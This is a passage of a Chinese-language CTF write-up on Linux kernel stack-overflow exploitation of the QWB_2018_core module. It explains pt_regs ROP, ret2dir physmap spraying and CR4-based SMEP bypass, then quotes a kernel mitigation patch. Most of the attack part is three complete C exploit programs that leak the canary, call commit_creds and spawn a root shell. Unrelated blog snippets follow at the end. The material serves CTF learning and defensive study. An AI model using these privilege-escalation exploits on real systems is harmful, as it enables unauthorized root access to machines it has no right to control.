的条目如下: struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
当我们打开一个 stat 文件时(如
/proc/self/stat
)便会在内核空间中分配一个seq_operations
结构体当我们 read 一个 stat 文件时,内核会调用其
proc_ops
的proc_read_iter
指针,然后调用seq_operations->start
函数指针
利用思路
这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs
上构造 rop 。我们在调用 core_copy_func
函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func
函数的返回处下断点。
__asm__("mov r15, 0x1111111111111111;""mov r14, 0x2222222222222222;""mov r13, 0x3333333333333333;""mov r12, 0x4444444444444444;""mov rbp, 0x5555555555555555;""mov rbx, 0x6666666666666666;""mov r11, 0x7777777777777777;""mov r10, 0x8888888888888888;""mov r9, 0x9999999999999999;""mov r8, 0xaaaaaaaaaaaaaaaa;""mov rcx, 0xbbbbbbbbbbbbbbbb;""mov rax, 0x10;""mov rdx, 0xffffffffffff0050;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall");
数字没变的寄存器就是我们能够控制的,可以被我们用来写 gadget。
0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 ; r15
0c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14
0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13
0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12
0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp
10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp
11:0088│ 0xffffc90000113f88 ◂— 0x207
12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 ;r10
13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 ;r9
14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8
15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│ 0xffffc90000113fd0 ◂— 0x10
1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│ 0xffffc90000113fe8 ◂— 0x207
1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */
新版本内核对抗利用 pt_regs 进行攻击的办法
内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs
与我们触发劫持内核执行流时的栈间偏移值不再是固定值:
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@#ifdef CONFIG_X86_64__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs){
+ add_random_kstack_offset();nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget
来继续完成利用,不过稳定性也大幅下降了。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
int core_fd;
void core_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}
void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;swapgs_restore_regs_and_return_to_usermode += offset + 8;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {set_off(64);char buf[64];core_read(buf);return *(size_t *) buf;
}
int main() {rebase();
core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}
size_t canary = get_canary();printf("[*] canary: %p\n", canary);
char buf[0x100];memset(buf, '\x00', sizeof(buf));*(size_t *) &buf[64] = canary;*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));__asm__("mov r15, pop_rdi_ret;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_restore_regs_and_return_to_usermode;""mov rax, 0x10;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall");
system("/bin/sh");
return 0;
}
执行 add_rsp_0xc8_pop*4_ret
时栈布局,rsp
抬高0xc8+0x20
后 ret
会执行到我们的 shellcode
。
ret2dir
如果 ptregs
所在的内存被修改了导致可控内存变少,我们可以利用 ret2dir
的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。
ret2dir
是哥伦比亚大学网络安全实验室在 2014
年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn
等用户空间与内核空间隔离的防护手段,原论文。 linux
系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area
,即内核的线性映射区。,这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget
可以通过 direct mapping area
上的地址在内核空间中访问到。
但需要注意的是在新版的内核当中 direct mapping area
已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode
进行利用,但我们仍能通过在用户空间布置 ROP
链的方式完成利用。
利用思路
-
在用户空间大量喷洒我们的
gadget: add_rsp_0xe8_ret
-
返回地址覆盖为对应内核版本的线性映射区
+0x7000000
的位置。 -
利用
pt_regs
保存的pop_rbp_ret; target_addr; leave;ret
来完成栈迁移。 -
执行线性映射区的
shellcode
。
exp
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
const size_t try_hit = 0xffff880000000000+0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
void core_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}
void get_shell()
{ system("/bin/sh");
}
size_t get_canary() {set_off(64);char buf[64];core_read(buf);return *(size_t *) buf;
}
void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;swapgs_restore_regs_and_return_to_usermode += offset;pop_rbp_ret += offset;leave_ret += offset;retn += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
void physmap()
{core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Error: open core");}page_size = sysconf(_SC_PAGESIZE);printf("[*] page_size %llx", &page_size);size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);int idx = 0;while (idx < (page_size / 8 - 0x30)) {rop[idx++] = add_rsp_0xe8_ret;}for (; idx < (page_size / 8 - 0xb); idx++) {rop[idx] = retn;}rop[idx++] = pop_rdi_ret;rop[idx++] = init_cred;rop[idx++] = commit_creds;rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[idx++] = 0x0000000000000000;rop[idx++] = 0x0000000000000000;rop[idx++] = (size_t) get_shell;rop[idx++] = user_cs;rop[idx++] = user_rflags;rop[idx++] = user_sp;rop[idx++] = user_ss;puts("[*] Spraying physmap...");for (int i = 1; i < 15000; i++) {size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(page, rop, page_size);}puts("[*] trigger physmap one_gadget...");
}
int main()
{rebase();save_status();physmap();
size_t canary = get_canary();printf("[*] canary: %p\n", canary);
char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[0x40] = canary;*(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));__asm__("mov r15, pop_rbp_ret;""mov r14, try_hit;""mov r13, leave_ret;""mov rax, 0x10;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall");return 0;
}
流程
(1)修改返回地址为线性映射区的地址,大概率会执行到add_rsp_0xe8_ret
将栈抬升到pt_regs
处,执行我们负责栈迁移的shell_code
。
(2)将栈迁移到我们目标地址后,大量的slider gadget
将栈不断抬升到get_root
代码处,完成提权。
kernel rop + ret2user
利用思路
这种方法实际上是将前两种方法结合起来,同样可以绕过 smap
和 smep
保护。大体思路是先利用 rop
设置 cr4
为 0x6f0
(这个值可以通过用 cr4
原始值 & 0xFFFFF
得到)关闭 smep
, 然后 iret
到用户空间去执行提权代码。
例如,当
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
时,smep
保护开启。而 CR4
寄存器是可以通过 mov
指令修改的,因此只需要
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
即可关闭 smep
保护。
搜索一下从 vmlinux
中提取出的 gadget
,很容易就能达到这个目的。
-
如何查看
CR4
寄存器的值?gdb
无法查看cr4
寄存器的值,可以通过kernel crash
时的信息查看。为了关闭smep
保护,常用一个固定值0x6f0
,即mov cr4, 0x6f0
。
exp
注意这里 smap
保护不能直接关闭,因此不能像前面 ret2usr
那样直接在 exp
中写入 trap frame
然后栈迁移到 trap frame
的地址,而是在 rop
中构造 trap frame
结构
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell()
{ system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}
void get_root() {commit_creds(prepare_kernel_cred(0));
}
int core_fd;
void core_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}
void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {set_off(64);char buf[64];core_read(buf);return *(size_t *) buf;
}
int main() {save_status();rebase();
core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}
size_t canary = get_canary();printf("[*] canary: %p\n", canary);
char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;rop[it++] = 0x00000000000006f0;rop[it++] = mov_cr4_rdi_ret;rop[it++] = (size_t) get_root;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
相关文章:
Kernel Stack栈溢出攻击及保护绕过
前言 本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。 QWB_2018_core 题目分析 start.sh qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd ./core.cpio \-append "…...
QT-窗口嵌入外部exe
窗口类: #pragma once #include <QApplication> #include <QWidget> #include <QVBoxLayout> #include <QProcess> #include <QTimer> #include <QDebug> #include <Windows.h> #include <QWindow> #include <…...
38-其他地方使用模式
38-其他地方使用模式 模式除了可以在 match 表达式中使用外,还可以使用在变量定义(等号左侧是个模式)和 for in 表达式(for 关键字和 in 关键字之间是个模式)中。 但是,并不是所有的模式都能使用在变量定…...
才气小波与第一性原理
才气小波与第一性原理 才气小波与第一性原理具身智能云藏山鹰类型物热力学第二定律的动力机械外骨骼诠释才气小波导引社会科学概论软凝聚态数学意气实体过程王阳明代数Wangyangmingian王阳明算符才气语料库命运社会科学概论意气实体过程业务分层框架示例 才气小波与第一性原理 …...
104周六复盘 (188)UI
1、早上继续看二手书的一个章节,程序开发流程、引擎、AI等内容, 内容很浅,基本上没啥用,算是复习。 最大感触就是N年前看同类书的里程碑、AI相关章节时,会感觉跟自己没啥关系, 而如今则密切相关…...
CDP集群安全指南-动态数据加密
[〇]关于本文 集群的动态数据加密主要指的是加密通过网络协议传输的数据,防止数据在传输的过程中被窃取。由于大数据涉及的主机及服务众多。你需要更具集群的实际环境来评估需要为哪些环节实施动态加密。 这里介绍一种通过Cloudera Manager 的Auto-TLS功能来为整个…...
C# 设计模式:装饰器模式与代理模式的区别
C# 设计模式:装饰器模式与代理模式的区别 在软件设计中,装饰器模式(Decorator Pattern)和代理模式(Proxy Pattern)都是结构型设计模式,它们的目的都是通过对对象进行包装,来增加或改…...
[深度学习] 大模型学习1-大语言模型基础知识
大语言模型(Large Language Model,LLM)是一类基于Transformer架构的深度学习模型,主要用于处理与自然语言相关的各种任务。简单来说,当用户输入文本时,模型会生成相应的回复或结果。它能够完成许多任务&…...
GitLab集成Runner详细版--及注意事项汇总【最佳实践】
一、背景 看到网上很多用户提出的runner问题其实实际都不是问题,不过是因为对runner的一些细节不清楚导致了误解。本文不系统性的介绍GitLab-Runner,因为这类文章写得好的特别多,本文只汇总一些常几的问题/注意事项。旨在让新手少弯路。 二、…...
STM32-笔记34-4G遥控灯
4G接线 一、项目需求 服务器通过4G模块远程遥控开关灯。 二、项目实现 复制项目文件夹38-wifi控制风扇项目 重命名为39-4G遥控点灯 打开项目文件 加载文件 main.c #include "sys.h" #include "delay.h" #include "led.h" #include "ua…...
PHP 使用集合 处理复杂数据 提升开发效率
文章精选推荐 1 JetBrains Ai assistant 编程工具让你的工作效率翻倍 2 Extra Icons:JetBrains IDE的图标增强神器 3 IDEA插件推荐-SequenceDiagram,自动生成时序图 4 BashSupport Pro 这个ides插件主要是用来干嘛的 ? 5 IDEA必装的插件&…...
AI代码开发实践-微信小程序开发
接上回,本人参加了一次小孩学校组织的护学岗,萌生了开发一个微信小程序的水印相机的想法,说干就干。 最近也是在学习用AI编程,索性之前也用一点,今天就尝试一下 工具选择,环境搭建 阿里-通义灵码 通义灵…...
【网络安全 | 漏洞挖掘】私有项目中的账户接管过程
未经许可,不得转载。 正文 该程序包含多个通配符目标。在逐一搜索后,我最终发现了一个具有 P4 严重级别的 IDOR 漏洞(不正确的直接对象引用),允许我删除其他用户在帖子中的评论。 其中一个目标是一个只有单个域名的网站,提供注册、登录和重置密码功能。我尝试寻找任何可…...
【算法不挂科】算法期末考试【选择题专项练习】<多单元汇总>
前言 大家好吖,欢迎来到 YY 滴算法不挂科系列 ,热烈欢迎! 本章主要内容面向接触过C的老铁 主要内容含: 一.选择题 【1】算法绪论 1.算法与程序的区别是( ) A.输出 B.输入 C.确定性 D.有穷性 D 2.算法复杂度分析的两种基本方法…...
分布式消息中间件有哪些知名的产品
首先是Apache Kafka,它是一个分布式流处理平台,专注于高性能、低延迟的实时数据管道和流应用。Kafka通过分区和复制机制实现了高可用性和容错性,支持消息的持久化存储和高效的数据传输。其强大的生态系统还提供了丰富的客户端库和集成工具&am…...
kubernets基础入门
首先通过Kubernets架构图来认识Kubernets各个功能组件之间是怎么相互关联配合工作的。 一、Kubernets架构图: 通过上图来介绍集群功能组件通信详细过程: kubernetes api server 作为集群的核心,负责集群各功能模块之间的通信。集群内的各个功…...
【数据库初阶】MySQL数据类型
🎉博主首页: 有趣的中国人 🎉专栏首页: 数据库初阶 🎉其它专栏: C初阶 | C进阶 | 初阶数据结构 亲爱的小伙伴们,大家好!在这篇文章中,我们将深入浅出地为大家讲解 MySQL…...
(九千七-星河襟)椭圆曲线加密(ECC, Elliptic Curve Cryptography)及其例题
椭圆曲线加密(ECC)是一种基于椭圆曲线数学的公钥加密技术。它提供了一种高效的加密方法,能够在较小的密钥长度下实现与传统加密算法(如RSA)相同的安全级别。以下是ECC的主要特点和工作原理的总结: 1. 基本…...
LookingGlass使用
背景 Looking Glass 是一款开源应用程序,可以直接使用显卡直通的windows虚拟机。 常见环境是Linux hostwindows guest,基本部署结构图: 编译 git clone --recursive https://github.com/gnif/LookingGlass.git编译client mkdir client/b…...
ArcGIS Server 10.2授权文件过期处理
新的一年,arcgis server授权过期了,服务发不不了。查看ecp授权文件,原来的授权日期就到2024.12.31日。好吧,这里直接给出处理方法。 ArcGIS 10.2安装时,有的破解文件中会有含一个这样的注册程序,没有的话&…...
js es6 reduce函数, 通过规格生成sku
const specs [{ name: 颜色, values: [红色, 蓝色, 绿色] },{ name: 尺寸, values: [S, M, L] } ];function generateSKUs(specs) {return specs.reduce((acc, spec) > {const newAcc [];for (const combination of acc) {for (const value of spec.values) {newAcc.push(…...
Spring 事务底层原理
61 张图,剖析 Spring 事务,就是要钻到底! 拜托!面试请不要再问我 Transactional my: AOP Transactional PlatformTransactionManager:数据源隔离 TransactionInterceptor:拦截添加了注解的…...
ruoyi 分页 查询超出后还有数据; Mybatis-Plus 分页 超出后还有数据
修改:MybatisPlusConfig 类中 分页合理化修改为:paginationInnerInterceptor.setOverflow(false);...
基于Java的超级玛丽游戏的设计与实现【源码+文档+部署讲解】
目 录 1、绪论 1.1背景以及现状 1.2 Java语言的特点 1.3 系统运行环境及开发软件: 1.4 可行性的分析 1.4.1 技术可行性 1.4.2 经济可行性 1.4.3 操作可行性 2、 需求分析 2.1 用户需求分析 2.2功能需求分析 2.3界面设计需求分析…...
智慧工地信息管理与智能预警平台
建设背景与政策导向 智慧工地信息管理与智能预警平台的出现,源于工地管理面临的诸多挑战,如施工地点分散、危险区域多、监控手段落后等。随着政府对建筑产业现代化的积极推动,各地纷纷出台政策支持智慧工地的发展,旨在通过信息技…...
使用Apache Mahout制作 推荐引擎
目录 创建工程 基本概念 关键概念 基于用户与基于项目的分析 计算相似度的方法 协同过滤 基于内容的过滤 混合方法 创建一个推荐引擎 图书评分数据集 加载数据 从文件加载数据 从数据库加载数据 内存数据库 协同过滤 基于用户的过滤 基于项目的过滤 添加自定…...
记录:导出功能:接收文件流数据进行导出(vue3)
请求接口:一定要加responseType: blob 后端返回数据: api.js export function export() {return request({url: dev/api/export,method: get,responseType: blob,//一定要加}) } vue: import {export} from /api// 导出 const exportTab…...
GraphRAG vs 传统 RAG:如何通过知识图谱提升 AI 检索能力
相比传统 RAG 仅能独立检索文本片段的局限性,GraphRAG通过构建实体关系图谱实现了信息间的连接,让 AI 能更完整地理解和检索复杂的关联信息,从而生成更准确和连贯的回答 问题背景: 想象有一本详细记录某人(X)成就的传记,每个章节都描述了他的…...
问题清除指南|关于num_classes与 BCELoss、BCEWithLogitsLoss 和 CrossEntropyLoss 的关系
前言:关于「 num_classes 1 」引发的探究。 2024年尾声,学弟问到一个问题:在研究工作 CNNDetection 的github开源代码 networks/trainer.py 文件的 line 27 self.model resnet50(num_classes1) 中,变量 num_classes 的值为1&…...
组网实训实现
小型单元网络实现 IP划分: 外网:172.1.1.0/24 172.1.2.0/24 内网:基于192.168.3.0/24的子网划分 综合办公楼:192.168.3.00 000000 /26(192.168.3.0-192.168.3.63) 综合一楼:192.168.3.0000 0000 /28&…...
【DevOps】Jenkins部署
Jenkins部署 文章目录 Jenkins部署资源列表基础环境一、部署Gilab1.1、安装Gitlab1.2、修改配置文件1.3、加载配置文件1.4、访问Gitlab1.5、修改root登录密码1.6、创建demo测试项目1.7、上传代码1.8、验证上传的代码 二、部署Jenkins所需软件2.1、部署JDK2.2、部署Tomcat2.3、部…...
HTML——38.Span标签和字符实体
<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>span标签和字符实体</title><style type"text/css">h1{text-align: center;}p{text-indent: 2em;}span{color: red;}</style></head><…...
doris:基于 Arrow Flight SQL 的高速数据传输链路
Doris 基于 Arrow Flight SQL 协议实现了高速数据链路,支持多种语言使用 SQL 从 Doris 高速读取大批量数据。 用途 从 Doris 加载大批量数据到其他组件,如 Python/Java/Spark/Flink,可以使用基于 Arrow Flight SQL 的 ADBC/JDBC 替代过去…...
文献阅读 | B. S. Carmo 2010
目录 一、文献名称二、原文地址三、ABSTRACT主要发现详细观察分岔分析雷诺数依赖性比较见解意义结论 四、IINTRODUCTION历史研究回顾计算研究近期研究进展研究空白与目的论文结构 一、文献名称 二、原文地址 研究目的:研究串列排列双圆柱体周围流场中的次级不稳定性…...
GRAPE——RLAIF微调VLA模型:通过偏好对齐提升机器人策略的泛化能力(含24年具身模型汇总)
前言 24年具身前沿模型大汇总 过去的这两年,工作之余,我狂写大模型与具身的文章,加之具身大火,每周都有各种朋友通过CSDN私我及我司「七月在线」寻求帮助/指导(当然,也欢迎各大开发团队与我司合作共同交付)…...
超越YOLO11!DEIM:先进的实时DETR目标检测
DEIM: DETR with Improved Matching for Fast Convergence arXiv: https://arxiv.org/abs/2412.04234 Project webpage:https://www.shihuahuang.cn/DEIM/ GitHub:https://github.com/ShihuaHuang95/DEIM 1 背景:DETR目标检测框架 目标检…...
django vue3实现大文件分段续传(断点续传)
前端环境准备及目录结构: npm create vue 并取名为big-file-upload-fontend 通过 npm i 安装以下内容"dependencies": {"axios": "^1.7.9","element-plus": "^2.9.1","js-sha256": "^0.11.0&quo…...
用户注册模块(芒果头条项目进度4)
1 创建⽤户模块⼦应⽤ 1.1 在项⽬包⽬录下 创建apps的python包。 1.2 在apps包下 创建应⽤userapp $ cd 项⽬包⽬录/apps $ python ../../manage.py startapp userapp 1.3 配置导包路径 默认情况下导包路径指向项⽬根⽬录 # 通过下⾯语句可以打印当前导包路径 print(sys.pa…...
Java Map集合、集合的嵌套
一. 概述 1. Map集合称为双列集合,格式:{key1value1, key2value2,.....},一次需要存一对数据作为一个元素。 2. Map集合的每个元素"keyvalue"称为一个键值对/键值对对象/一个Entry对象,Map集合也被称为"键值对集合"。 3.…...
C#中使用系统默认应用程序打开文件
有时您可能希望程序使用默认应用程序打开文件。 例如,您可能希望显示 PDF 文件、网页或互联网上的 URL。 System.Diagnostics.Process类的Start方法启动系统与文件关联的应用程序。 例如,如果文件扩展名为.txt,则系统会在 NotePad、WordPa…...
论文泛读《LPFHE: Low-Complexity Polynomial CNNs for Secure Inference over FHE》
文章目录 1、摘要2、介绍3、文章结构4、总结 1、摘要 Machine learning as a service (MLaaS) 在客户中越来越受欢迎。为了解决 MLaaS 中的隐私问题,引入了 FHE 来保护客户端的数据。 然而,FHE 不能直接评估 卷积神经网络 (CNNs) 中的非算数激活函数。…...
基于Spring Boot的IT技术交流和分享平台的设计与实现源码
风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的IT技术交流和分享平台的设计与实现。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 基于S…...
力扣hot100——二分查找
35. 搜索插入位置 class Solution { public:int searchInsert(vector<int>& a, int x) {if (a[0] > x) return 0;int l 0, r a.size() - 1;while (l < r) {int mid (l r 1) / 2;if (a[mid] < x) l mid;else r mid - 1;}if (a[l] x) return l;else …...
1月第一讲:WxPython跨平台开发框架之前后端结合实现附件信息的上传及管理
1、功能描述和界面 前端(wxPython GUI): 提供文件选择、显示文件列表的界面。支持上传、删除和下载附件。展示上传状态和附件信息(如文件名、大小、上传时间)。后端(REST API 服务):…...
uniapp:跳转第三方地图
1.跳转第三方高德地图 //跳转地图 toMap(item){uni.navigateTo({url: (window.location.href https://uri.amap.com/navigation?to${item.lng},${item.lat},${item.shopName}&modecar&policy1&srchttps://gawl.gazhcs.com/wap/index.html&callnative0)}) },…...
源码理解 UE4中的 FCookStatsManager::FAutoRegisterCallback RegisterCookStats
官方文档:https://dev.epicgames.com/documentation/zh-cn/unreal-engine/API/Runtime/Core/ProfilingDebugging/FCookStatsManager文档中的注释: When a cook a complete that is configured to use stats (ENABLE_COOK_STATS), it will broadcast this…...
QML Text详解
1. 概述 Text 是 QML 中用来显示文本的基本组件。它可以用于创建静态的标签、标题、说明文字等,支持多种文本格式、样式、颜色、对齐方式等配置。Text 组件也支持动态文本内容的显示,可以通过绑定数据源来实时更新文本内容。 Text 组件非常灵活&#x…...
详细讲一下Prettier对我们日常开发的作用,以及详细用法
1.什么是 Prettier? // Prettier 是代码格式化工具,它可以自动调整代码格式 // 比如把这样的代码: function foo ( a, b ){ return ab; }// 自动格式化成这样: function foo(a, b) {return a b; } 2.基础配置详解 {// 控制…...
多模态论文笔记——Coca
大家好,这里是好评笔记,公主号:Goodnote,专栏文章私信限时Free。本文详细介绍多模态模型Coca,在DALLE 3中使用其作为captioner基准模型的原因和优势。 文章目录 ALBEF论文模型结构组成训练目标 CoCa论文模型结构CoCa…...
24年无人机行业资讯 | 12.23-12.29
24年无人机行业资讯 | 12.23-12.29 1、 国家发改委新设低空经济司,助力低空经济规范发展2、商务部支持无人机民用国际贸易,强调出口管制与安全并重3、滨州高新区首架无人机成功下线4、 2025第九届世界无人机大会筹备推进会顺利召开5、2024年世界无人机竞…...